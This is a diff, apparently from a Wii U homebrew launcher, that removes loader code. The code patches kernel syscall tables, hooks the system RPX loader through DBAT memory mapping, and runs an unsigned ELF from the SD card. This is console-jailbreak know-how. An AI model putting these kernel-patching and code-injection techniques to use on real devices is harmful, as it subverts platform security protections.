|
||||
"mr 9,%0\n"
|
||||
"mr %1,1\n"
|
||||
"li 0,0x3500\n"
|
||||
"sc\n"
|
||||
"nop\n"
|
||||
"mr 1,%1\n"
|
||||
:
|
||||
: "r"(addr), "r"(value)
|
||||
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
|
||||
"11", "12"
|
||||
);
|
||||
}
|
||||
|
||||
static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len)
|
||||
{
|
||||
/*
|
||||
* Setup a DBAT access with cache inhibited to write through and read directly from memory
|
||||
*/
|
||||
unsigned int dbatu0, dbatl0, dbatu1, dbatl1;
|
||||
// save the original DBAT value
|
||||
asm volatile("mfdbatu %0, 0" : "=r" (dbatu0));
|
||||
asm volatile("mfdbatl %0, 0" : "=r" (dbatl0));
|
||||
asm volatile("mfdbatu %0, 1" : "=r" (dbatu1));
|
||||
asm volatile("mfdbatl %0, 1" : "=r" (dbatl1));
|
||||
|
||||
unsigned int target_dbatu0 = 0;
|
||||
unsigned int target_dbatl0 = 0;
|
||||
unsigned int target_dbatu1 = 0;
|
||||
unsigned int target_dbatl1 = 0;
|
||||
|
||||
unsigned int *dst_p = (unsigned int*)addr;
|
||||
unsigned int *src_p = (unsigned int*)src;
|
||||
|
||||
// we only need DBAT modification for addresses out of our own DBAT range
|
||||
// as our own DBAT is available everywhere for user and supervisor
|
||||
// since our own DBAT is on DBAT5 position we don't collide here
|
||||
if(addr < 0x00800000 || addr >= 0x01000000)
|
||||
{
|
||||
target_dbatu0 = (addr & 0x00F00000) | 0xC0000000 | 0x1F;
|
||||
target_dbatl0 = (addr & 0xFFF00000) | 0x32;
|
||||
asm volatile("mtdbatu 0, %0" : : "r" (target_dbatu0));
|
||||
asm volatile("mtdbatl 0, %0" : : "r" (target_dbatl0));
|
||||
dst_p = (unsigned int*)((addr & 0xFFFFFF) | 0xC0000000);
|
||||
}
|
||||
if(src < 0x00800000 || src >= 0x01000000)
|
||||
{
|
||||
target_dbatu1 = (src & 0x00F00000) | 0xB0000000 | 0x1F;
|
||||
target_dbatl1 = (src & 0xFFF00000) | 0x32;
|
||||
|
||||
asm volatile("mtdbatu 1, %0" : : "r" (target_dbatu1));
|
||||
asm volatile("mtdbatl 1, %0" : : "r" (target_dbatl1));
|
||||
src_p = (unsigned int*)((src & 0xFFFFFF) | 0xB0000000);
|
||||
}
|
||||
|
||||
asm volatile("eieio; isync");
|
||||
|
||||
unsigned int i;
|
||||
for(i = 0; i < len; i += 4)
|
||||
{
|
||||
// if we are on the edge to next chunk
|
||||
if((target_dbatu0 != 0) && (((unsigned int)dst_p & 0x00F00000) != (target_dbatu0 & 0x00F00000)))
|
||||
{
|
||||
target_dbatu0 = ((addr + i) & 0x00F00000) | 0xC0000000 | 0x1F;
|
||||
target_dbatl0 = ((addr + i) & 0xFFF00000) | 0x32;
|
||||
dst_p = (unsigned int*)(((addr + i) & 0xFFFFFF) | 0xC0000000);
|
||||
|
||||
asm volatile("eieio; isync");
|
||||
asm volatile("mtdbatu 0, %0" : : "r" (target_dbatu0));
|
||||
asm volatile("mtdbatl 0, %0" : : "r" (target_dbatl0));
|
||||
asm volatile("eieio; isync");
|
||||
}
|
||||
if((target_dbatu1 != 0) && (((unsigned int)src_p & 0x00F00000) != (target_dbatu1 & 0x00F00000)))
|
||||
{
|
||||
target_dbatu1 = ((src + i) & 0x00F00000) | 0xB0000000 | 0x1F;
|
||||
target_dbatl1 = ((src + i) & 0xFFF00000) | 0x32;
|
||||
src_p = (unsigned int*)(((src + i) & 0xFFFFFF) | 0xB0000000);
|
||||
|
||||
asm volatile("eieio; isync");
|
||||
asm volatile("mtdbatu 1, %0" : : "r" (target_dbatu1));
|
||||
asm volatile("mtdbatl 1, %0" : : "r" (target_dbatl1));
|
||||
asm volatile("eieio; isync");
|
||||
}
|
||||
|
||||
*dst_p = *src_p;
|
||||
|
||||
++dst_p;
|
||||
++src_p;
|
||||
}
|
||||
|
||||
/*
|
||||
* Restore original DBAT value
|
||||
*/
|
||||
asm volatile("eieio; isync");
|
||||
asm volatile("mtdbatu 0, %0" : : "r" (dbatu0));
|
||||
asm volatile("mtdbatl 0, %0" : : "r" (dbatl0));
|
||||
asm volatile("mtdbatu 1, %0" : : "r" (dbatu1));
|
||||
asm volatile("mtdbatl 1, %0" : : "r" (dbatl1));
|
||||
asm volatile("eieio; isync");
|
||||
}
|
||||
|
||||
// This function is called every time after LiBounceOneChunk.
|
||||
// It waits for the asynchronous call of LiLoadAsync for the IOSU to fill data to the RPX/RPL address
|
||||
// and return the still remaining bytes to load.
|
||||
// We override it and replace the loaded date from LiLoadAsync with our data and our remaining bytes to load.
|
||||
static int LiWaitOneChunk(unsigned int * iRemainingBytes, const char *filename, int fileType)
|
||||
{
|
||||
unsigned int result;
|
||||
register int core_id;
|
||||
int remaining_bytes = 0;
|
||||
|
||||
int sgFileOffset;
|
||||
int sgBufferNumber;
|
||||
int *sgBounceError;
|
||||
int *sgGotBytes;
|
||||
int *sgTotalBytes;
|
||||
int *sgIsLoadingBuffer;
|
||||
int *sgFinishedLoadingBuffer;
|
||||
|
||||
// get the current core
|
||||
asm volatile("mfspr %0, 0x3EF" : "=r" (core_id));
|
||||
|
||||
// get the offset of per core global variable for dynload initialized (just a simple address + (core_id * 4))
|
||||
unsigned int gDynloadInitialized = *(volatile unsigned int*)(OS_SPECIFICS->addr_gDynloadInitialized + (core_id << 2));
|
||||
|
||||
// Comment (Dimok):
|
||||
// time measurement at this position for logger -> we don't need it right now except maybe for debugging
|
||||
//unsigned long long systemTime1 = Loader_GetSystemTime();
|
||||
|
||||
if(OS_FIRMWARE == 550)
|
||||
{
|
||||
// pointer to global variables of the loader
|
||||
loader_globals_550_t *loader_globals = (loader_globals_550_t*)(0xEFE19E80);
|
||||
|
||||
sgBufferNumber = loader_globals->sgBufferNumber;
|
||||
sgFileOffset = loader_globals->sgFileOffset;
|
||||
sgBounceError = &loader_globals->sgBounceError;
|
||||
sgGotBytes = &loader_globals->sgGotBytes;
|
||||
sgTotalBytes = &loader_globals->sgTotalBytes;
|
||||
sgFinishedLoadingBuffer = &loader_globals->sgFinishedLoadingBuffer;
|
||||
// not available on 5.5.x
|
||||
sgIsLoadingBuffer = NULL;
|
||||
}
|
||||
else
|
||||
{
|
||||
// pointer to global variables of the loader
|
||||
loader_globals_t *loader_globals = (loader_globals_t*)(OS_SPECIFICS->addr_sgIsLoadingBuffer);
|
||||
|
||||
sgBufferNumber = loader_globals->sgBufferNumber;
|
||||
sgFileOffset = loader_globals->sgFileOffset;
|
||||
sgBounceError = &loader_globals->sgBounceError;
|
||||
sgGotBytes = &loader_globals->sgGotBytes;
|
||||
sgIsLoadingBuffer = &loader_globals->sgIsLoadingBuffer;
|
||||
// not available on < 5.5.x
|
||||
sgTotalBytes = NULL;
|
||||
sgFinishedLoadingBuffer = NULL;
|
||||
}
|
||||
|
||||
// the data loading was started in LiBounceOneChunk() and here it waits for IOSU to finish copy the data
|
||||
if(gDynloadInitialized != 0) {
|
||||
result = OS_SPECIFICS->LiWaitIopCompleteWithInterrupts(0x2160EC0, &remaining_bytes);
|
||||
|
||||
}
|
||||
else {
|
||||
result = OS_SPECIFICS->LiWaitIopComplete(0x2160EC0, &remaining_bytes);
|
||||
}
|
||||
|
||||
// Comment (Dimok):
|
||||
// time measurement at this position for logger -> we don't need it right now except maybe for debugging
|
||||
//unsigned long long systemTime2 = Loader_GetSystemTime();
|
||||
|
||||
//------------------------------------------------------------------------------------------------------------------
|
||||
// Start of our function intrusion:
|
||||
// After IOSU is done writing the data into the 0xF6000000/0xF6400000 address,
|
||||
// we overwrite it with our data before setting the global flag for IsLoadingBuffer to 0
|
||||
// Do this only if we are in the game that was launched by our method
|
||||
s_mem_area *mem_area = MEM_AREA_TABLE;
|
||||
if((ELF_DATA_ADDR == mem_area->address) && (fileType == 0))
|
||||
{
|
||||
unsigned int load_address = (sgBufferNumber == 1) ? 0xF6000000 : (0xF6000000 + 0x00400000);
|
||||
unsigned int load_addressPhys = (sgBufferNumber == 1) ? 0x1B000000 : (0x1B000000 + 0x00400000); // virtual 0xF6000000 and 0xF6400000
|
||||
|
||||
remaining_bytes = ELF_DATA_SIZE - sgFileOffset;
|
||||
if (remaining_bytes > 0x400000)
|
||||
// truncate size
|
||||
remaining_bytes = 0x400000;
|
||||
|
||||
DCFlushRange((void*)load_address, remaining_bytes);
|
||||
|
||||
u32 rpxBlockPos = 0;
|
||||
u32 done = 0;
|
||||
u32 mapOffset = 0;
|
||||
|
||||
while((done < (u32)sgFileOffset) && mem_area)
|
||||
{
|
||||
if((done + mem_area->size) > (u32)sgFileOffset)
|
||||
{
|
||||
mapOffset = sgFileOffset - done;
|
||||
done = sgFileOffset;
|
||||
}
|
||||
else
|
||||
{
|
||||
done += mem_area->size;
|
||||
mem_area = mem_area->next;
|
||||
}
|
||||
}
|
||||
|
||||
while((done < ELF_DATA_SIZE) && (rpxBlockPos < 0x400000) && mem_area)
|
||||
{
|
||||
u32 address = mem_area->address + mapOffset;
|
||||
u32 blockSize = ELF_DATA_SIZE - done;
|
||||
|
||||
if(blockSize > (0x400000 - rpxBlockPos))
|
||||
{
|
||||
blockSize = 0x400000 - rpxBlockPos;
|
||||
}
|
||||
if((mapOffset + blockSize) >= mem_area->size)
|
||||
{
|
||||
blockSize = mem_area->size - mapOffset;
|
||||
//! this value is incremented later by blockSize, so set it to -blockSize for it to be 0 after copy
|
||||
//! it makes smaller code then if(mapOffset == mem_area->size) after copy
|
||||
mapOffset = -blockSize;
|
||||
mem_area = mem_area->next;
|
||||
}
|
||||
|
||||
SC0x25_KernelCopyData(load_addressPhys + rpxBlockPos, address, blockSize);
|
||||
done += blockSize;
|
||||
rpxBlockPos += blockSize;
|
||||
mapOffset += blockSize;
|
||||
}
|
||||
|
||||
DCInvalidateRange((void*)load_address, remaining_bytes);
|
||||
|
||||
if((u32)(sgFileOffset + remaining_bytes) == ELF_DATA_SIZE)
|
||||
{
|
||||
ELF_DATA_ADDR = 0xDEADC0DE;
|
||||
ELF_DATA_SIZE = 0;
|
||||
MAIN_ENTRY_ADDR = 0xC001C0DE;
|
||||
}
|
||||
// set result to 0 -> "everything OK"
|
||||
result = 0;
|
||||
}
|
||||
|
||||
// end of our little intrusion into this function
|
||||
//------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
// set the result to the global bounce error variable
|
||||
if(sgBounceError) {
|
||||
*sgBounceError = result;
|
||||
}
|
||||
|
||||
// disable global flag that buffer is still loaded by IOSU
|
||||
if(sgFinishedLoadingBuffer)
|
||||
{
|
||||
unsigned int zeroBitCount = 0;
|
||||
asm volatile("cntlzw %0, %0" : "=r" (zeroBitCount) : "r"(*sgFinishedLoadingBuffer));
|
||||
*sgFinishedLoadingBuffer = zeroBitCount >> 5;
|
||||
}
|
||||
else if(sgIsLoadingBuffer)
|
||||
{
|
||||
*sgIsLoadingBuffer = 0;
|
||||
}
|
||||
|
||||
// check result for errors
|
||||
if(result == 0)
|
||||
{
|
||||
// the remaining size is set globally and in stack variable only
|
||||
// if a pointer was passed to this function
|
||||
if(iRemainingBytes) {
|
||||
if(sgGotBytes) {
|
||||
*sgGotBytes = remaining_bytes;
|
||||
}
|
||||
|
||||
*iRemainingBytes = remaining_bytes;
|
||||
|
||||
// on 5.5.x a new variable for total loaded bytes was added
|
||||
if(sgTotalBytes) {
|
||||
*sgTotalBytes += remaining_bytes;
|
||||
}
|
||||
}
|
||||
// Comment (Dimok):
|
||||
// calculate time difference and print it on logging how long the wait for asynchronous data load took
|
||||
// something like (systemTime2 - systemTime1) * constant / bus speed, did not look deeper into it as we don't need that crap
|
||||
}
|
||||
else {
|
||||
// Comment (Dimok):
|
||||
// a lot of error handling here. depending on error code sometimes calls Loader_Panic() -> we don't make errors so we can skip that part ;-P
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
void my_PrepareTitle(CosAppXmlInfo *xmlKernelInfo)
|
||||
{
|
||||
if(ELF_DATA_ADDR == MEM_AREA_TABLE->address)
|
||||
{
|
||||
xmlKernelInfo->max_size = RPX_MAX_SIZE;
|
||||
xmlKernelInfo->max_codesize = RPX_MAX_CODE_SIZE;
|
||||
//! setup our hook to LiWaitOneChunk for RPX loading
|
||||
hook_LiWaitOneChunk = ((u32)LiWaitOneChunk) | 0x48000002;
|
||||
KernelCopyData(addrphys_LiWaitOneChunk, (u32) &hook_LiWaitOneChunk, 4);
|
||||
asm volatile("icbi 0, %0" : : "r" (OS_SPECIFICS->addr_LiWaitOneChunk & ~31));
|
||||
}
|
||||
else if((MAIN_ENTRY_ADDR == 0xC001C0DE) && (*(u32*)xmlKernelInfo->rpx_name == 0x66666c5f)) // ffl_
|
||||
{
|
||||
//! restore original LiWaitOneChunk instruction as our RPX is done
|
||||
MAIN_ENTRY_ADDR = 0xDEADC0DE;
|
||||
KernelCopyData(addrphys_LiWaitOneChunk, (u32)&OS_SPECIFICS->orig_LiWaitOneChunkInstr, 4);
|
||||
asm volatile("icbi 0, %0" : : "r" (OS_SPECIFICS->addr_LiWaitOneChunk & ~31));
|
||||
}
|
||||
}
|
||||
|
||||
static int LoadFileToMem(private_data_t *private_data, const char *filepath, unsigned char **fileOut, unsigned int * sizeOut)
|
||||
{
|
||||
int iFd = -1;
|
||||
void *pClient = private_data->MEMAllocFromDefaultHeapEx(FS_CLIENT_SIZE, 4);
|
||||
if(!pClient)
|
||||
return 0;
|
||||
|
||||
void *pCmd = private_data->MEMAllocFromDefaultHeapEx(FS_CMD_BLOCK_SIZE, 4);
|
||||
if(!pCmd)
|
||||
{
|
||||
private_data->MEMFreeToDefaultHeap(pClient);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int success = 0;
|
||||
private_data->FSInit();
|
||||
private_data->FSInitCmdBlock(pCmd);
|
||||
private_data->FSAddClientEx(pClient, 0, -1);
|
||||
|
||||
do
|
||||
{
|
||||
char tempPath[FS_MOUNT_SOURCE_SIZE];
|
||||
char mountPath[FS_MAX_MOUNTPATH_SIZE];
|
||||
|
||||
int status = private_data->FSGetMountSource(pClient, pCmd, 0, tempPath, -1);
|
||||
if (status != 0) {
|
||||
private_data->OSFatal("FSGetMountSource failed.");
|
||||
}
|
||||
status = private_data->FSMount(pClient, pCmd, tempPath, mountPath, FS_MAX_MOUNTPATH_SIZE, -1);
|
||||
if(status != 0) {
|
||||
private_data->OSFatal("SD mount failed.");
|
||||
}
|
||||
|
||||
status = private_data->FSOpenFile(pClient, pCmd, filepath, "r", &iFd, -1);
|
||||
if(status != 0) {
|
||||
private_data->OSFatal("FSOpenFile failed.");
|
||||
}
|
||||
|
||||
FSStat stat;
|
||||
stat.size = 0;
|
||||
|
||||
void *pBuffer = NULL;
|
||||
|
||||
private_data->FSGetStatFile(pClient, pCmd, iFd, &stat, -1);
|
||||
|
||||
if(stat.size > 0)
|
||||
pBuffer = private_data->MEMAllocFromDefaultHeapEx((stat.size + 0x3F) & ~0x3F, 0x40);
|
||||
else
|
||||
private_data->OSFatal("ELF file empty.");
|
||||
|
||||
unsigned int done = 0;
|
||||
|
||||
while(done < stat.size)
|
||||
{
|
||||
int readBytes = private_data->FSReadFile(pClient, pCmd, pBuffer + done, 1, stat.size - done, iFd, 0, -1);
|
||||
if(readBytes <= 0) {
|
||||
break;
|
||||
}
|
||||
done += readBytes;
|
||||
}
|
||||
|
||||
if(done != stat.size)
|
||||
{
|
||||
private_data->MEMFreeToDefaultHeap(pBuffer);
|
||||
}
|
||||
else
|
||||
{
|
||||
*fileOut = (unsigned char*)pBuffer;
|
||||
*sizeOut = stat.size;
|
||||
success = 1;
|
||||
}
|
||||
|
||||
private_data->FSCloseFile(pClient, pCmd, iFd, -1);
|
||||
private_data->FSUnmount(pClient, pCmd, mountPath, -1);
|
||||
}
|
||||
while(0);
|
||||
|
||||
private_data->FSDelClient(pClient);
|
||||
private_data->MEMFreeToDefaultHeap(pClient);
|
||||
private_data->MEMFreeToDefaultHeap(pCmd);
|
||||
return success;
|
||||
}
|
||||
|
||||
static void setup_patches(private_data_t *private_data)
|
||||
{
|
||||
//! setup necessary syscalls and hooks for HBL
|
||||
kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl1 + (0x25 * 4)), (unsigned int)KernelCopyData);
|
||||
kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl2 + (0x25 * 4)), (unsigned int)KernelCopyData);
|
||||
kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl3 + (0x25 * 4)), (unsigned int)KernelCopyData);
|
||||
kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl4 + (0x25 * 4)), (unsigned int)KernelCopyData);
|
||||
kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl5 + (0x25 * 4)), (unsigned int)KernelCopyData);
|
||||
|
||||
//! store physical address for later use
|
||||
addrphys_LiWaitOneChunk = private_data->OSEffectiveToPhysical((void*)OS_SPECIFICS->addr_LiWaitOneChunk);
|
||||
|
||||
u32 addr_my_PrepareTitle_hook = ((u32)my_PrepareTitle_hook) | 0x48000003;
|
||||
DCFlushRange(&addr_my_PrepareTitle_hook, 4);
|
||||
|
||||
//! create our copy syscall
|
||||
SC0x25_KernelCopyData(OS_SPECIFICS->addr_PrepareTitle_hook, private_data->OSEffectiveToPhysical(&addr_my_PrepareTitle_hook), 4);
|
||||
|
||||
}
|
||||
|
||||
static unsigned int load_elf_image (private_data_t *private_data, unsigned char *elfstart)
|
||||
{
|
||||
Elf32_Ehdr *ehdr;
|
||||
Elf32_Phdr *phdrs;
|
||||
unsigned char *image;
|
||||
int i;
|
||||
|
||||
ehdr = (Elf32_Ehdr *) elfstart;
|
||||
|
||||
if(ehdr->e_phoff == 0 || ehdr->e_phnum == 0)
|
||||
return 0;
|
||||
|
||||
if(ehdr->e_phentsize != sizeof(Elf32_Phdr))
|
||||
return 0;
|
||||
|
||||
phdrs = (Elf32_Phdr*)(elfstart + ehdr->e_phoff);
|
||||
|
||||
for(i = 0; i < ehdr->e_phnum; i++)
|
||||
{
|
||||
if(phdrs[i].p_type != PT_LOAD)
|
||||
continue;
|
||||
|
||||
if(phdrs[i].p_filesz > phdrs[i].p_memsz)
|
||||
continue;
|
||||
|
||||
if(!phdrs[i].p_filesz)
|
||||
continue;
|
||||
|
||||
unsigned int p_paddr = phdrs[i].p_paddr;
|
||||
image = (unsigned char *) (elfstart + phdrs[i].p_offset);
|
||||
|
||||
private_data->memcpy ((void *) p_paddr, image, phdrs[i].p_filesz);
|
||||
DCFlushRange((void*)p_paddr, phdrs[i].p_filesz);
|
||||
|
||||
if(phdrs[i].p_flags & PF_X)
|
||||
ICInvalidateRange ((void *) p_paddr, phdrs[i].p_memsz);
|
||||
}
|
||||
|
||||
//! clear BSS
|
||||
Elf32_Shdr *shdr = (Elf32_Shdr *) (elfstart + ehdr->e_shoff);
|
||||
for(i = 0; i < ehdr->e_shnum; i++)
|
||||
{
|
||||
const char *section_name = ((const char*)elfstart) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name;
|
||||
if(section_name[0] == '.' && section_name[1] == 'b' && section_name[2] == 's' && section_name[3] == 's')
|
||||
{
|
||||
private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size);
|
||||
DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size);
|
||||
}
|
||||
else if(section_name[0] == '.' && section_name[1] == 's' && section_name[2] == 'b' && section_name[3] == 's' && section_name[4] == 's')
|
||||
{
|
||||
private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size);
|
||||
DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size);
|
||||
}
|
||||
}
|
||||
|
||||
return ehdr->e_entry;
|
||||
}
|
||||
|
||||
static void loadFunctionPointers(private_data_t * private_data)
|
||||
{
|
||||
unsigned int coreinit_handle;
|
||||
|
||||
EXPORT_DECL(int, OSDynLoad_Acquire, const char* rpl, u32 *handle);
|
||||
EXPORT_DECL(int, OSDynLoad_FindExport, u32 handle, int isdata, const char *symbol, void *address);
|
||||
|
||||
OSDynLoad_Acquire = (int (*)(const char*, u32 *))OS_SPECIFICS->addr_OSDynLoad_Acquire;
|
||||
OSDynLoad_FindExport = (int (*)(u32, int, const char *, void *))OS_SPECIFICS->addr_OSDynLoad_FindExport;
|
||||
|
||||
OSDynLoad_Acquire("coreinit", &coreinit_handle);
|
||||
|
||||
unsigned int *functionPtr = 0;
|
||||
|
||||
OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPtr);
|
||||
private_data->MEMAllocFromDefaultHeapEx = (void * (*)(int, int))*functionPtr;
|
||||
OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPtr);
|
||||
private_data->MEMFreeToDefaultHeap = (void (*)(void *))*functionPtr;
|
||||
|
||||
OS_FIND_EXPORT(coreinit_handle, "memcpy", private_data->memcpy);
|
||||
OS_FIND_EXPORT(coreinit_handle, "memset", private_data->memset);
|
||||
OS_FIND_EXPORT(coreinit_handle, "OSFatal", private_data->OSFatal);
|
||||
OS_FIND_EXPORT(coreinit_handle, "DCFlushRange", DCFlushRange);
|
||||
OS_FIND_EXPORT(coreinit_handle, "DCInvalidateRange", DCInvalidateRange);
|
||||
OS_FIND_EXPORT(coreinit_handle, "ICInvalidateRange", ICInvalidateRange);
|
||||
OS_FIND_EXPORT(coreinit_handle, "OSEffectiveToPhysical", private_data->OSEffectiveToPhysical);
|
||||
OS_FIND_EXPORT(coreinit_handle, "exit", private_data->exit);
|
||||
|
||||
OS_FIND_EXPORT(coreinit_handle, "FSInit", private_data->FSInit);
|
||||
OS_FIND_EXPORT(coreinit_handle, "FSAddClientEx", private_data->FSAddClientEx);
|
||||
OS_FIND_EXPORT(coreinit_handle, "FSDelClient", private_data->FSDelClient);
|
||||
OS_FIND_EXPORT(coreinit_handle, "FSInitCmdBlock", private_data->FSInitCmdBlock);
|
||||
OS_FIND_EXPORT(coreinit_handle, "FSGetMountSource", private_data->FSGetMountSource);
|
||||
OS_FIND_EXPORT(coreinit_handle, "FSMount", private_data->FSMount);
|
||||
OS_FIND_EXPORT(coreinit_handle, "FSUnmount", private_data->FSUnmount);
|
||||
OS_FIND_EXPORT(coreinit_handle, "FSOpenFile", private_data->FSOpenFile);
|
||||
OS_FIND_EXPORT(coreinit_handle, "FSGetStatFile", private_data->FSGetStatFile);
|
||||
OS_FIND_EXPORT(coreinit_handle, "FSReadFile", private_data->FSReadFile);
|
||||
OS_FIND_EXPORT(coreinit_handle, "FSCloseFile", private_data->FSCloseFile);
|
||||
|
||||
unsigned int sysapp_handle;
|
||||
OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle);
|
||||
OS_FIND_EXPORT(sysapp_handle, "SYSRelaunchTitle", private_data->SYSRelaunchTitle);
|
||||
}
|
||||
|
||||
int _start(int argc, char **argv)
|
||||
{
|
||||
private_data_t private_data;
|
||||
|
||||
if(MAIN_ENTRY_ADDR != 0xC001C0DE)
|
||||
{
|
||||
loadFunctionPointers(&private_data);
|
||||
|
||||
while(1)
|
||||
{
|
||||
if(ELF_DATA_ADDR != 0xDEADC0DE && ELF_DATA_SIZE > 0)
|
||||
{
|
||||
//! copy data to safe area before processing it
|
||||
unsigned char * pElfBuffer = (unsigned char *)private_data.MEMAllocFromDefaultHeapEx(ELF_DATA_SIZE, 4);
|
||||
if(pElfBuffer)
|
||||
{
|
||||
private_data.memcpy(pElfBuffer, (unsigned char*)ELF_DATA_ADDR, ELF_DATA_SIZE);
|
||||
MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer);
|
||||
private_data.MEMFreeToDefaultHeap(pElfBuffer);
|
||||
|
||||
}
|
||||
ELF_DATA_ADDR = 0xDEADC0DE;
|
||||
ELF_DATA_SIZE = 0;
|
||||
}
|
||||
|
||||
if(MAIN_ENTRY_ADDR == 0xDEADC0DE || MAIN_ENTRY_ADDR == 0)
|
||||
{
|
||||
//! setup necessary syscalls and hooks for HBL before launching it
|
||||
setup_patches(&private_data);
|
||||
|
||||
if(HBL_CHANNEL)
|
||||
{
|
||||
break;
|
||||
}
|
||||
else
|
||||
{
|
||||
unsigned char *pElfBuffer = NULL;
|
||||
unsigned int uiElfSize = 0;
|
||||
|
||||
LoadFileToMem(&private_data, CAFE_OS_SD_PATH WIIU_PATH "/apps/homebrew_launcher/homebrew_launcher.elf", &pElfBuffer, &uiElfSize);
|
||||
|
||||
if(!pElfBuffer)
|
||||
{
|
||||
private_data.OSFatal("Failed to load homebrew_launcher.elf");
|
||||
}
|
||||
else
|
||||
{
|
||||
MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer);
|
||||
if(MAIN_ENTRY_ADDR == 0)
|
||||
{
|
||||
private_data.OSFatal("Failed to load homebrew_launcher.elf");
|
||||
}
|
||||
else
|
||||
{
|
||||
private_data.MEMFreeToDefaultHeap(pElfBuffer);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
int returnVal = ((int (*)(int, char **))MAIN_ENTRY_ADDR)(argc, argv);
|
||||
//! exit to miimaker and restart application on re-enter of another application
|
||||
if(returnVal == (int)EXIT_RELAUNCH_ON_LOAD)
|
||||
{
|
||||
break;
|
||||
}
|
||||
//! exit to homebrew launcher in all other cases
|
||||
else
|
||||
{
|
||||
MAIN_ENTRY_ADDR = 0xDEADC0DE;
|
||||
private_data.SYSRelaunchTitle(0, 0);
|
||||
private_data.exit(0);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int ret = ( (int (*)(int, char **))(*(unsigned int*)OS_SPECIFICS->addr_OSTitle_main_entry) )(argc, argv);
|
||||
|
||||
//! if an application returns and was an RPX launch then launch HBL again
|
||||
if(MAIN_ENTRY_ADDR == 0xC001C0DE)
|
||||
{
|
||||
private_data.SYSRelaunchTitle(0, 0);
|
||||
private_data.exit(0);
|
||||
}
|
||||
return ret;
|
||||
}
|
@ -1,62 +0,0 @@
|
||||
#ifndef FS_DEFS_H
|
||||
#define FS_DEFS_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
|
||||
/* FS defines and types */
|
||||
#define FS_MAX_LOCALPATH_SIZE 511
|
||||
#define FS_MAX_MOUNTPATH_SIZE 128
|
||||
#define FS_MAX_FULLPATH_SIZE (FS_MAX_LOCALPATH_SIZE + FS_MAX_MOUNTPATH_SIZE)
|
||||
#define FS_MAX_ARGPATH_SIZE FS_MAX_FULLPATH_SIZE
|
||||
|
||||
#define FS_STATUS_OK 0
|
||||
#define FS_RET_UNSUPPORTED_CMD 0x0400
|
||||
#define FS_RET_NO_ERROR 0x0000
|
||||
#define FS_RET_ALL_ERROR (unsigned int)(-1)
|
||||
|
||||
#define FS_STAT_FLAG_IS_DIRECTORY 0x80000000
|
||||
|
||||
/* max length of file/dir name */
|
||||
#define FS_MAX_ENTNAME_SIZE 256
|
||||
|
||||
#define FS_SOURCETYPE_EXTERNAL 0
|
||||
#define FS_SOURCETYPE_HFIO 1
|
||||
#define FS_SOURCETYPE_HFIO 1
|
||||
|
||||
#define FS_MOUNT_SOURCE_SIZE 0x300
|
||||
#define FS_CLIENT_SIZE 0x1700
|
||||
#define FS_CMD_BLOCK_SIZE 0xA80
|
||||
|
||||
typedef struct
|
||||
{
|
||||
uint32_t flag;
|
||||
uint32_t permission;
|
||||
uint32_t owner_id;
|
||||
uint32_t group_id;
|
||||
uint32_t size;
|
||||
uint32_t alloc_size;
|
||||
uint64_t quota_size;
|
||||
uint32_t ent_id;
|
||||
uint64_t ctime;
|
||||
uint64_t mtime;
|
||||
uint8_t attributes[48];
|
||||
} __attribute__((packed)) FSStat;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
FSStat stat;
|
||||
char name[FS_MAX_ENTNAME_SIZE];
|
||||
} FSDirEntry;
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* FS_DEFS_H */
|
||||
|
@ -1,75 +0,0 @@
|
||||
#ifndef __KERNEL_DEFS_H_
|
||||
#define __KERNEL_DEFS_H_
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
// original structure in the kernel that is originally 0x1270 long
|
||||
typedef struct
|
||||
{
|
||||
uint32_t version_cos_xml; // version tag from cos.xml
|
||||
uint64_t os_version; // os_version from app.xml
|
||||
uint64_t title_id; // title_id tag from app.xml
|
||||
uint32_t app_type; // app_type tag from app.xml
|
||||
uint32_t cmdFlags; // unknown tag as it is always 0 (might be cmdFlags from cos.xml but i am not sure)
|
||||
char rpx_name[0x1000]; // rpx name from cos.xml
|
||||
uint32_t unknown2; // 0x050B8304 in mii maker and system menu (looks a bit like permissions complex that got masked!?)
|
||||
uint32_t unknown3[63]; // those were all zeros, but its probably connected with unknown2
|
||||
uint32_t max_size; // max_size in cos.xml which defines the maximum amount of memory reserved for the app
|
||||
uint32_t avail_size; // avail_size or codegen_size in cos.xml (seems to mostly be 0?)
|
||||
uint32_t codegen_size; // codegen_size or avail_size in cos.xml (seems to mostly be 0?)
|
||||
uint32_t codegen_core; // codegen_core in cos.xml (seems to mostly be 1?)
|
||||
uint32_t max_codesize; // max_codesize in cos.xml
|
||||
uint32_t overlay_arena; // overlay_arena in cos.xml
|
||||
uint32_t unknown4[59]; // all zeros it seems
|
||||
uint32_t default_stack0_size; // not sure because always 0 but very likely
|
||||
uint32_t default_stack1_size; // not sure because always 0 but very likely
|
||||
